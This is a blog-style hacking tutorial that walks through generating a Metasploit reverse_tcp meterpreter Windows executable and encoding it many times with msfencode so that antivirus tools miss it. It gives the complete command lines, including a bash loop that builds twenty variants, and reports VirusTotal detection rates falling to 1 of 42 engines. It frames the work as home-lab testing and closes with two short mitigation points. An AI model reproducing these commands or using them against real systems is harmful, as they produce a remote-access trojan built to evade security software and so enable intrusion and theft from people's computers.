Hacking techniques: Using msfencode to obscure a "trojan" meterpreter shellcode executable from Anti-virus tools

Why are we doing this?
There are a lot of interesting and useful features to play with in the Metasploit meterpreter payload, especially with the extensible scripts.

While I was experimenting with meterpreter sessions, I found it easier and quicker to use a prebuilt Windows PE executeable of a reverse meterpreter payload.

I would recommend producing and using one of these in your testlab, as this enables you to simulate the pwnage of a vulnerable application on a fully patched system. This is helpful as it enables you to get familiar with meterpreter features and post-exploitation techniques; such as hashdumping, information gathering, further network enumeration, tunneling techniques, and secondary attacks - in an easily reproduceable way.

Please only use these methods for testing and educational purposes. I do not advocate breaking the law or attacking systems where you do not have permission.

Making testing easier
Producing a meterpreter executable payload is relatively easy, but I initially found that this executable was easily detected by the Anti-virus on my test Windows system. So we also discuss encoding this executeable multiple times using msfencode. In the following examples I am using Backtrack 4 R1.

Producing a meterpreter executeable
To produce an example executeable, you can use msfpayload as follows:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 X > /var/www/met.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: LHOST=192.168.1.67,LPORT=4444

ls -l /var/www/met.exe

-rw-r--r-- 1 root root 73802 Aug 20 19:00 /var/www/met.exe

I tried downloading this to my test "victim" system, and is was immediately detected by the desktop Anti-virus tool, and quarantined as a "trojan" - understandable, but I want to do some testing without disabling my security features. (I don't want to get any real viruses or trojans ;o)

Encoding the payload
So, lets try encoding it using msfencode. We need to produce the payload in raw format, and then pipe this to msfencode which will produce the executeable:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -t exe > /var/www/metenc1.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

I downloaded this to my target system, but nope, still detected by my Anti-virus tool.

Further encoding
Let's get some help:

./msfencode -h

    Usage: ./msfencode

OPTIONS:

    -a   The architecture to encode as
    -b   The list of characters to avoid: '\x00\xff'
    -c   The number of times to encode the data
    -e   The encoder to use
    -h        Help banner
    -i   Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m   Specifies an additional module search path
    -n        Dump encoder information
    -o   The output file
    -p   The platform to encode for
    -s   The maximum size of the encoded data
    -t   The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
    -x   Specify an alternate win32 executable template

Using the -c option, msfencode enables you to repeat the encoding process recursively multiple times. Let's go crazy, encode it 21 times, and see what happens:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -c 21 -t exe > /var/www/metenc21.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

... truncated for your sanity ...

[*] x86/shikata_ga_nai succeeded with size 804 (iteration=21)

In my tests, this payload didn't get detected, it runs fine, and so I was able to use it for what I wanted in my test environment. Just needed to start msfconsole, setup a handler to catch the session, and then double-click the meterpreter executable on the "victim" desktop. Easy.

So how much encoding is required to get past the average AV-tool?
However, I was a bit curious about this (as I always am). I like to know how things work, and where the limitations are.

So how about building a whole batch of these babies, each with a different number of encoding iterations, and seeing which ones get detected and which don't. Time for a bash one-liner:

for num in $(seq 1 20); do ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -c $num -t exe > /var/www/metenc$num.exe; done

So, then I had a whole army of 20 encoded reverse meterpreter payload exes, so I put some of them to the test with an online scanner www.virustotal.com that can scan against 40+ Anti-virus tools.

Here are my results for some of the encodings, with the number of tools detecting our reverse meterpreter exe payload as a backdoor/trojan

Native exe payload = 14/42 AV tools detected it

That seems very low to me, as for some examples of the encoded ones:

1 encoding = 3/42 AV tools
2 encodings = 8/42 AV tools
5 encodings = 6/42 AV tools
10 encodings = 8/42 AV tools
15 encodings = 8/42 AV tools
18 encodings = 7/42 AV tools
20 encodings = 1/42 AV tools = AVG

The results seem very variable, but I guess this is to be expected, as each encoding is somewhat randomized, and my submissions were not previously known in the hash database.

For these tests, I declare AVG the winner! as it outperformed the other tools.

AhnLab-V3, AntiVir, Antiy-AVL, CAT-QuickHeal, ClamAV, Comodo, DrWeb, eSafe, eTrust-Vet, Fortinet, Jiangmin, Kaspersky, McAfee, McAfee-GW-Edition, Panda, PCTools, Prevx, Rising, Sophos, Sunbelt, SUPERAntiSpyware, Symantec, TheHacker, TrendMicro, TrendMicro-HouseCall, VBA32, ViRobot, VirusBuster... In these tests for some reason you FAIL!

So, it just goes to show, that for a known functionality payload, produced by a very well known tool (Metasploit) ; backdoor/trojan detection is suprisingly poor!

Mitigations

• Never rely on Anti-virus alone - use defence in depth
• Content security solutions should block exe code in web and email traffic, even if it is not a known virus it could easily be custom malware